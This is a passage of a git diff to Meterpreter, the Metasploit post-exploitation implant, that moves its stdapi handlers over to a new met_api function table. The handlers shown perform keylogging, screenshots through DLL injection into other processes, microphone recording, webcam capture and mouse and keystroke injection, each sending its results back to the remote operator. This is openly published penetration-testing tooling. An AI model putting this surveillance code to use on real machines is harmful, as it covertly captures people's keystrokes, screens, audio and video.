packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY); + quality = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY); if (quality < 1 || quality > 100) { quality = 50; @@ -428,11 +429,11 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) // get the x86 and x64 screenshot dll's. we are not obliged to send both but we reduce the number of processes // we can inject into (wow64 and x64) if we only send one type on an x64 system. If we are on an x86 system // we dont need to send the x64 screenshot dll as there will be no x64 processes to inject it into. - DllBuffer.dwPE32DllLenght = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH); - DllBuffer.lpPE32DllBuffer = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER); + DllBuffer.dwPE32DllLenght = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH); + DllBuffer.lpPE32DllBuffer = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER); - DllBuffer.dwPE64DllLenght = packet_get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH); - DllBuffer.lpPE64DllBuffer = packet_get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER); + DllBuffer.dwPE64DllLenght = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH); + DllBuffer.lpPE64DllBuffer = met_api->packet.get_tlv_value_string(request, TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER); if (!DllBuffer.lpPE32DllBuffer && !DllBuffer.lpPE64DllBuffer) { @@ -456,15 +457,15 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) dprintf("[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine); // start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot. - pPipeThread = thread_create(desktop_screenshot_thread, &cNamedPipe, response, NULL); + pPipeThread = met_api->thread.create(desktop_screenshot_thread, &cNamedPipe, response, NULL); if (!pPipeThread) { - BREAK_WITH_ERROR("[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE); + BREAK_WITH_ERROR("[UI] desktop_screenshot. met_api->thread.create failed", ERROR_INVALID_HANDLE); } - if (!thread_run(pPipeThread)) + if (!met_api->thread.run(pPipeThread)) { - BREAK_WITH_ERROR("[UI] desktop_screenshot. thread_run failed", ERROR_ACCESS_DENIED); + BREAK_WITH_ERROR("[UI] desktop_screenshot. met_api->thread.run failed", ERROR_ACCESS_DENIED); } Sleep(500); @@ -493,10 +494,10 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) WaitForSingleObject(pPipeThread->handle, 30000); // signal our thread to terminate if it is still running. - thread_sigterm(pPipeThread); + met_api->thread.sigterm(pPipeThread); // and wait for it to terminate... - thread_join(pPipeThread); + met_api->thread.join(pPipeThread); // get the exit code for our pthread if (!GetExitCodeThread(pPipeThread->handle, &dwResult)) @@ -508,14 +509,14 @@ DWORD request_ui_desktop_screenshot(Remote * remote, Packet * request) if (response) { - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); } if (pPipeThread) { - thread_sigterm(pPipeThread); - thread_join(pPipeThread); - thread_destroy(pPipeThread); + met_api->thread.sigterm(pPipeThread); + met_api->thread.join(pPipeThread); + met_api->thread.destroy(pPipeThread); } return dwResult; diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/idle.c b/c/meterpreter/source/extensions/stdapi/server/ui/idle.c index b3b3446b..990482da 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/idle.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/idle.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" /* #ifdef _WIN64 @@ -18,7 +19,7 @@ DWORD request_ui_get_idle_time(Remote *remote, Packet *request) { LASTINPUTINFO info; HMODULE user32 = NULL; - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; BOOL (WINAPI *getLastInputInfo)(PLASTINPUTINFO) = NULL; @@ -42,7 +43,7 @@ DWORD request_ui_get_idle_time(Remote *remote, Packet *request) info.cbSize = sizeof(info); if (getLastInputInfo(&info)) - packet_add_tlv_uint(response, TLV_TYPE_IDLE_TIME, + met_api->packet.add_tlv_uint(response, TLV_TYPE_IDLE_TIME, (GetTickCount() - info.dwTime) / 1000); else result = GetLastError(); @@ -54,7 +55,7 @@ DWORD request_ui_get_idle_time(Remote *remote, Packet *request) FreeLibrary(user32); // Transmit the response packet - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c index a1d26862..aea08af8 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/keyboard.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "keyboard.h" #include #include @@ -17,11 +18,11 @@ INT ui_resolve_raw_api(); DWORD request_ui_enable_keyboard(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); BOOLEAN enable = FALSE; DWORD result = ERROR_SUCCESS; - enable = packet_get_tlv_value_bool(request, TLV_TYPE_BOOL); + enable = met_api->packet.get_tlv_value_bool(request, TLV_TYPE_BOOL); // If there's no hook library loaded yet if (!hookLibrary) @@ -40,7 +41,7 @@ DWORD request_ui_enable_keyboard(Remote *remote, Packet *request) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -234,10 +235,10 @@ LRESULT CALLBACK ui_keyscan_wndproc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM l DWORD request_ui_start_keyscan(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; - bool track_active_window = packet_get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW); + bool track_active_window = met_api->packet.get_tlv_value_bool(request, TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW); // set appropriate logging function (track_active_window == true) ? (gfn_log_key = &ui_log_key_actwin) : (gfn_log_key = &ui_log_key); @@ -266,7 +267,7 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -277,7 +278,7 @@ DWORD request_ui_start_keyscan(Remote *remote, Packet *request) DWORD request_ui_stop_keyscan(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; if (tKeyScan) { @@ -291,7 +292,7 @@ DWORD request_ui_stop_keyscan(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -301,12 +302,12 @@ DWORD request_ui_stop_keyscan(Remote *remote, Packet *request) DWORD request_ui_get_keys(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; if (tKeyScan) { // This works because NULL defines the end of data (or if its wrapped, the whole buffer) - packet_add_tlv_string(response, TLV_TYPE_KEYS_DUMP, (LPCSTR)g_keyscan_buf); + met_api->packet.add_tlv_string(response, TLV_TYPE_KEYS_DUMP, (LPCSTR)g_keyscan_buf); memset(g_keyscan_buf, 0, KEYBUFSIZE); g_idx = 0; } @@ -315,7 +316,7 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -325,13 +326,13 @@ DWORD request_ui_get_keys(Remote *remote, Packet *request) DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; char *utf8_keyscan_buf = NULL; if (tKeyScan) { - utf8_keyscan_buf = wchar_to_utf8(g_keyscan_buf); - packet_add_tlv_raw(response, TLV_TYPE_KEYS_DUMP, (LPVOID)utf8_keyscan_buf, + utf8_keyscan_buf = met_api->string.wchar_to_utf8(g_keyscan_buf); + met_api->packet.add_tlv_raw(response, TLV_TYPE_KEYS_DUMP, (LPVOID)utf8_keyscan_buf, (DWORD)strlen(utf8_keyscan_buf) + 1); memset(g_keyscan_buf, 0, KEYBUFSIZE); @@ -345,7 +346,7 @@ DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); free(utf8_keyscan_buf); return ERROR_SUCCESS; } @@ -356,9 +357,9 @@ DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request) DWORD request_ui_send_keys(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; - wchar_t *keys = utf8_to_wchar(packet_get_tlv_value_string(request, TLV_TYPE_KEYS_SEND)); + wchar_t *keys = met_api->string.utf8_to_wchar(met_api->packet.get_tlv_value_string(request, TLV_TYPE_KEYS_SEND)); if (keys) { INPUT input[2] = {0}; @@ -388,7 +389,7 @@ DWORD request_ui_send_keys(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -410,11 +411,11 @@ void ui_send_key(WORD keycode, DWORD flags) DWORD request_ui_send_keyevent(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD result = ERROR_SUCCESS; Tlv data; - if ((packet_get_tlv(packet, TLV_TYPE_KEYEVENT_SEND, &data)) == ERROR_SUCCESS) + if ((met_api->packet.get_tlv(packet, TLV_TYPE_KEYEVENT_SEND, &data)) == ERROR_SUCCESS) { for (unsigned int i=0;ipacket.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c b/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c index d12e77f4..66f74ebf 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/mouse.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" extern HMODULE hookLibrary; @@ -7,11 +8,11 @@ extern HMODULE hookLibrary; */ DWORD request_ui_enable_mouse(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); BOOLEAN enable = FALSE; DWORD result = ERROR_SUCCESS; - enable = packet_get_tlv_value_bool(request, TLV_TYPE_BOOL); + enable = met_api->packet.get_tlv_value_bool(request, TLV_TYPE_BOOL); // If there's no hook library loaded yet if (!hookLibrary) @@ -30,7 +31,7 @@ DWORD request_ui_enable_mouse(Remote *remote, Packet *request) result = GetLastError(); // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } @@ -42,12 +43,12 @@ DWORD request_ui_enable_mouse(Remote *remote, Packet *request) DWORD request_ui_send_mouse(Remote *remote, Packet *request) { - Packet *response = packet_create_response(request); + Packet *response = met_api->packet.create_response(request); DWORD result = ERROR_SUCCESS; - DWORD action = packet_get_tlv_value_uint(request, TLV_TYPE_MOUSE_ACTION); - DWORD x = packet_get_tlv_value_uint(request, TLV_TYPE_MOUSE_X); - DWORD y = packet_get_tlv_value_uint(request, TLV_TYPE_MOUSE_Y); + DWORD action = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_MOUSE_ACTION); + DWORD x = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_MOUSE_X); + DWORD y = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_MOUSE_Y); INPUT input = {0}; input.type = INPUT_MOUSE; @@ -121,7 +122,7 @@ DWORD request_ui_send_mouse(Remote *remote, Packet *request) } // Transmit the response - packet_transmit_response(result, remote, response); + met_api->packet.transmit_response(result, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c b/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c index 11341533..4bd3a886 100644 --- a/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c +++ b/c/meterpreter/source/extensions/stdapi/server/webcam/audio.c @@ -1,5 +1,6 @@ #pragma comment(lib, "Winmm.lib") #include "precomp.h" +#include "common_metapi.h" #include #include "../../common/common.h" #include "audio.h" @@ -40,10 +41,10 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) HWAVEIN hWavIn; WAVEHDR wh; - response = packet_create_response(request); + response = met_api->packet.create_response(request); if (!response) { - dprintf("request_ui_record_mic: packet_create_response failed"); + dprintf("request_ui_record_mic: met_api->packet.create_response failed"); dwResult = ERROR_INVALID_HANDLE; goto out; } @@ -51,7 +52,7 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) /* * Get duration to record, and reallocate if necessary */ - seconds = packet_get_tlv_value_uint(request, TLV_TYPE_AUDIO_DURATION); + seconds = met_api->packet.get_tlv_value_uint(request, TLV_TYPE_AUDIO_DURATION); if (buffersize == 0 || buffersize != 11025 * seconds) { buffersize = 11025 * seconds; riffsize = buffersize + 44; @@ -144,9 +145,9 @@ DWORD request_ui_record_mic(Remote * remote, Packet * request) goto out; } - packet_add_tlv_raw(response, + met_api->packet.add_tlv_raw(response, (TLV_TYPE_AUDIO_DATA | TLV_META_TYPE_COMPRESSED), sendBuffer, riffsize); out: - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp b/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp index 51cf8ebf..5fe10579 100644 --- a/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp +++ b/c/meterpreter/source/extensions/stdapi/server/webcam/webcam.cpp @@ -19,6 +19,7 @@ extern "C" { #include "../../common/common.h" #include "webcam.h" #include "bmp2jpeg.h" +#include "common_metapi.h" } //Required interface stuff - bad hack for qedit.h not being present/compatible with later windows versions @@ -435,7 +436,7 @@ DWORD webcam_get_frame(WebcamThreadState* state) bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize); //And send - packet_add_tlv_raw(state->pResponse, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize); + met_api->packet.add_tlv_raw(state->pResponse, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize); } while (0); PBYTE tmparray = jpgarray; @@ -473,14 +474,14 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) // let the caller know that we've initialised state->dwResult = dwResult; - event_signal(state->pResultEvent); + met_api->event.signal(state->pResultEvent); do { dprintf("[WEBCAM] Thread now running, waiting for a signal"); // wait for the next call - if (!event_poll(state->pCallEvent, -1)) { + if (!met_api->event.poll(state->pCallEvent, -1)) { BREAK_WITH_ERROR("[WEBCAM] Failed to receive a signal from the caller", ERROR_TIMEOUT); } @@ -494,7 +495,7 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) case GetCameraFrame: dprintf("[WEBCAM] GetCameraFrame called."); dwResult = webcam_get_frame(state); - event_signal(state->pResultEvent); + met_api->event.signal(state->pResultEvent); break; default: dprintf("[WEBCAM] Unexpected action %u", (DWORD)state->controlAction); @@ -542,7 +543,7 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) state->dwResult = dwResult; // signal that the thread is finishing - event_signal(state->pResultEvent); + met_api->event.signal(state->pResultEvent); dprintf("[WEBCAM] Exit."); @@ -551,264 +552,264 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) extern "C" { -/*! - * @brief Handle the request for a list of available webcams. - * @param remote Pointer to the \c Remote making the request. - * @param packet Pointer to the request \c Packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Operation completed as expected. - * @todo Make this use `packet_add_tlv_wstring` when it has been merged. - */ -DWORD request_webcam_list(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); - DWORD dwResult = ERROR_SUCCESS; + /*! + * @brief Handle the request for a list of available webcams. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Operation completed as expected. + * @todo Make this use `packet_add_tlv_wstring` when it has been merged. + */ + DWORD request_webcam_list(Remote* remote, Packet* packet) { + Packet* response = met_api->packet.create_response(packet); + DWORD dwResult = ERROR_SUCCESS; - do{ - IEnumMoniker* pclassEnum = NULL; - ICreateDevEnum* pdevEnum = NULL; + do { + IEnumMoniker* pclassEnum = NULL; + ICreateDevEnum* pdevEnum = NULL; - CoInitialize(NULL); - HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, - NULL, - CLSCTX_INPROC, - IID_ICreateDevEnum, - (LPVOID*)&pdevEnum); - - if (SUCCEEDED(hr)) { - hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); - } - - if (pdevEnum != NULL) { - pdevEnum->Release(); - pdevEnum = NULL; - } - - int nCount = 0; - if (pclassEnum == NULL) { - break;// Error! - } - - IMoniker* apIMoniker[1]; - ULONG ulCount = 0; - while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK) { - IPropertyBag *pPropBag; - hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pPropBag); + CoInitialize(NULL); + HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, + NULL, + CLSCTX_INPROC, + IID_ICreateDevEnum, + (LPVOID*)&pdevEnum); if (SUCCEEDED(hr)) { - // To retrieve the filter's friendly name, do the following: - VARIANT varName; - VariantInit(&varName); - hr = pPropBag->Read(L"FriendlyName", &varName, 0); - - if (SUCCEEDED(hr) && varName.vt == VT_BSTR) { - //TODO: make this use the new `packet_add_tlv_wstring` when it has been merged. - //get chars from wchars - size_t converted; - char charbuf[512]; - wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf)); - packet_add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf); - } - - VariantClear(&varName); - pPropBag->Release(); - - nCount++; + hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); } - } - pclassEnum->Release(); - } while (0); - - dwResult = GetLastError(); - - packet_transmit_response(dwResult, remote, response); - - CoUninitialize(); - return dwResult; -} - -/*! - * @brief Handle the request to start a given webcam. - * @param remote Pointer to the \c Remote making the request. - * @param packet Pointer to the request \c Packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Operation completed as expected. - * @remark This will start a webcam controller thread. From there the - * lifetime of the webcam is managed. - * @sa webcam_control_thread - */ -DWORD request_webcam_start(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - DWORD dwResult = ERROR_SUCCESS; - UINT index = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID); - - dprintf("[WEBCAM] Entry."); - - do - { - // If we have a thread running, then this means the webcam capture is already running too. - if (g_pWorkerThread != NULL) { - BREAK_WITH_ERROR("[WEBCAM] Already running!", ERROR_SERVICE_ALREADY_RUNNING); - } - - g_pThreadState = (WebcamThreadState*)malloc(sizeof(WebcamThreadState)); - - if (g_pThreadState == NULL) { - BREAK_WITH_ERROR("[WEBCAM] Out of memory", ERROR_OUTOFMEMORY); - } - - ZeroMemory(g_pThreadState, sizeof(WebcamThreadState)); - - // create a wait event and indicate we're expecting a response from the call - g_pThreadState->pCallEvent = event_create(); - g_pThreadState->pResultEvent = event_create(); - g_pThreadState->index = index; - - // kick off the worker thread that will do all the cam handling on one thread to avoid - // cross-threaded COM problems. - g_pWorkerThread = thread_create(webcam_control_thread, g_pThreadState, NULL, NULL); - - if (g_pWorkerThread == NULL) { - BREAK_WITH_ERROR("[WEBCAM] Failed to create thread.", ERROR_THREAD_1_INACTIVE); - } - - if (thread_run(g_pWorkerThread) == FALSE) { - BREAK_WITH_ERROR("[WEBCAM] Failed to run worker thread", ERROR_CAN_NOT_COMPLETE); - } - - // now wait for a signal to say that we've got things running - if (event_poll(g_pThreadState->pResultEvent, 4000) == FALSE) { - BREAK_WITH_ERROR("[WEBCAM] Failed to initialise worker thread", ERROR_WAIT_1); - } - - dprintf("[WEBCAM] Webcam thread has been initialised"); - dwResult = g_pThreadState->dwResult; - } while (0); - - packet_transmit_response(dwResult, remote, response); - - if (dwResult != ERROR_SUCCESS) { - dprintf("[WEBCAM] Failure found, cleaning up"); - if (g_pWorkerThread != NULL) { - if (g_pThreadState != NULL) { - if (g_pThreadState->bRunning) { - thread_kill(g_pWorkerThread); - } - - thread_destroy(g_pWorkerThread); - g_pWorkerThread = NULL; - - if (g_pThreadState->pCallEvent != NULL) { - event_destroy(g_pThreadState->pCallEvent); - } - if (g_pThreadState->pResultEvent != NULL) { - event_destroy(g_pThreadState->pResultEvent); - } - - free(g_pThreadState); - g_pThreadState = NULL; + if (pdevEnum != NULL) { + pdevEnum->Release(); + pdevEnum = NULL; } - } + + int nCount = 0; + if (pclassEnum == NULL) { + break;// Error! + } + + IMoniker* apIMoniker[1]; + ULONG ulCount = 0; + while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK) { + IPropertyBag* pPropBag; + hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void**)&pPropBag); + + if (SUCCEEDED(hr)) { + // To retrieve the filter's friendly name, do the following: + VARIANT varName; + VariantInit(&varName); + hr = pPropBag->Read(L"FriendlyName", &varName, 0); + + if (SUCCEEDED(hr) && varName.vt == VT_BSTR) { + //TODO: make this use the new `packet_add_tlv_wstring` when it has been merged. + //get chars from wchars + size_t converted; + char charbuf[512]; + wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf)); + met_api->packet.add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf); + } + + VariantClear(&varName); + pPropBag->Release(); + + nCount++; + } + } + + pclassEnum->Release(); + } while (0); + + dwResult = GetLastError(); + + met_api->packet.transmit_response(dwResult, remote, response); + + CoUninitialize(); + return dwResult; } - dprintf("[WEBCAM] Exit."); - - return dwResult; -} - -/*! - * @brief Handle the request to grab a frame from the running webcam. - * @param remote Pointer to the \c Remote making the request. - * @param packet Pointer to the request \c Packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Operation completed as expected. - * @remark This will interact with the control thread to grab a frame - * from the current running camera. - * @sa webcam_control_thread - */ -DWORD request_webcam_get_frame(Remote *remote, Packet *packet) -{ - Packet *response = packet_create_response(packet); - UINT quality = packet_get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY); - DWORD dwResult = ERROR_SUCCESS; - - dprintf("[WEBCAM] Entry."); - - do + /*! + * @brief Handle the request to start a given webcam. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Operation completed as expected. + * @remark This will start a webcam controller thread. From there the + * lifetime of the webcam is managed. + * @sa webcam_control_thread + */ + DWORD request_webcam_start(Remote* remote, Packet* packet) { - if (g_pWorkerThread == NULL) { - BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); + Packet* response = met_api->packet.create_response(packet); + DWORD dwResult = ERROR_SUCCESS; + UINT index = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID); + + dprintf("[WEBCAM] Entry."); + + do + { + // If we have a thread running, then this means the webcam capture is already running too. + if (g_pWorkerThread != NULL) { + BREAK_WITH_ERROR("[WEBCAM] Already running!", ERROR_SERVICE_ALREADY_RUNNING); + } + + g_pThreadState = (WebcamThreadState*)malloc(sizeof(WebcamThreadState)); + + if (g_pThreadState == NULL) { + BREAK_WITH_ERROR("[WEBCAM] Out of memory", ERROR_OUTOFMEMORY); + } + + ZeroMemory(g_pThreadState, sizeof(WebcamThreadState)); + + // create a wait event and indicate we're expecting a response from the call + g_pThreadState->pCallEvent = met_api->event.create(); + g_pThreadState->pResultEvent = met_api->event.create(); + g_pThreadState->index = index; + + // kick off the worker thread that will do all the cam handling on one thread to avoid + // cross-threaded COM problems. + g_pWorkerThread = met_api->thread.create(webcam_control_thread, g_pThreadState, NULL, NULL); + + if (g_pWorkerThread == NULL) { + BREAK_WITH_ERROR("[WEBCAM] Failed to create thread.", ERROR_THREAD_1_INACTIVE); + } + + if (met_api->thread.run(g_pWorkerThread) == FALSE) { + BREAK_WITH_ERROR("[WEBCAM] Failed to run worker thread", ERROR_CAN_NOT_COMPLETE); + } + + // now wait for a signal to say that we've got things running + if (met_api->event.poll(g_pThreadState->pResultEvent, 4000) == FALSE) { + BREAK_WITH_ERROR("[WEBCAM] Failed to initialise worker thread", ERROR_WAIT_1); + } + + dprintf("[WEBCAM] Webcam thread has been initialised"); + dwResult = g_pThreadState->dwResult; + } while (0); + + met_api->packet.transmit_response(dwResult, remote, response); + + if (dwResult != ERROR_SUCCESS) { + dprintf("[WEBCAM] Failure found, cleaning up"); + if (g_pWorkerThread != NULL) { + if (g_pThreadState != NULL) { + if (g_pThreadState->bRunning) { + met_api->thread.kill(g_pWorkerThread); + } + + met_api->thread.destroy(g_pWorkerThread); + g_pWorkerThread = NULL; + + if (g_pThreadState->pCallEvent != NULL) { + met_api->event.destroy(g_pThreadState->pCallEvent); + } + if (g_pThreadState->pResultEvent != NULL) { + met_api->event.destroy(g_pThreadState->pResultEvent); + } + + free(g_pThreadState); + g_pThreadState = NULL; + } + } } - // set up the thread call - g_pThreadState->pResponse = response; - g_pThreadState->frameQuality = quality; - g_pThreadState->controlAction = GetCameraFrame; + dprintf("[WEBCAM] Exit."); - // invoke and wait - event_signal(g_pThreadState->pCallEvent); + return dwResult; + } - if (event_poll(g_pThreadState->pResultEvent, 5000) == FALSE) { - BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); - } - - // the handler thread should have added data to the packet to return to the caller, so off we go! - dwResult = g_pThreadState->dwResult; - } while (0); - - packet_transmit_response(dwResult, remote, response); - - dprintf("[WEBCAM] Exit."); - return dwResult; -} - -/*! - * @brief Handle the request to stop the webcam. - * @param remote Pointer to the \c Remote making the request. - * @param packet Pointer to the request \c Packet. - * @returns Indication of success or failure. - * @retval ERROR_SUCCESS Operation completed as expected. - * @remark This will interact with the control thread and tell it - * to terminate after turning off the camera. - * @sa webcam_control_thread - */ -DWORD request_webcam_stop(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); - DWORD dwResult = ERROR_SUCCESS; - - dprintf("[WEBCAM] Entry."); - do + /*! + * @brief Handle the request to grab a frame from the running webcam. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Operation completed as expected. + * @remark This will interact with the control thread to grab a frame + * from the current running camera. + * @sa webcam_control_thread + */ + DWORD request_webcam_get_frame(Remote* remote, Packet* packet) { - if (g_pWorkerThread == NULL) { - BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); - } + Packet* response = met_api->packet.create_response(packet); + UINT quality = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY); + DWORD dwResult = ERROR_SUCCESS; - // set up the thread call - g_pThreadState->controlAction = StopCamera; + dprintf("[WEBCAM] Entry."); - // invoke and wait - event_signal(g_pThreadState->pCallEvent); + do + { + if (g_pWorkerThread == NULL) { + BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); + } - if (event_poll(g_pThreadState->pResultEvent, 5000) == FALSE) { - BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); - } + // set up the thread call + g_pThreadState->pResponse = response; + g_pThreadState->frameQuality = quality; + g_pThreadState->controlAction = GetCameraFrame; - // the handler thread should have added data to the packet to return to the caller, so off we go! - dwResult = g_pThreadState->dwResult; - } while (0); + // invoke and wait + met_api->event.signal(g_pThreadState->pCallEvent); - packet_transmit_response(dwResult, remote, response); + if (met_api->event.poll(g_pThreadState->pResultEvent, 5000) == FALSE) { + BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); + } - event_destroy(g_pThreadState->pCallEvent); - event_destroy(g_pThreadState->pResultEvent); - free(g_pThreadState); - g_pThreadState = NULL; + // the handler thread should have added data to the packet to return to the caller, so off we go! + dwResult = g_pThreadState->dwResult; + } while (0); - thread_destroy(g_pWorkerThread); - g_pWorkerThread = NULL; + met_api->packet.transmit_response(dwResult, remote, response); - dprintf("[WEBCAM] Exit."); - return dwResult; -} + dprintf("[WEBCAM] Exit."); + return dwResult; + } + + /*! + * @brief Handle the request to stop the webcam. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS Operation completed as expected. + * @remark This will interact with the control thread and tell it + * to terminate after turning off the camera. + * 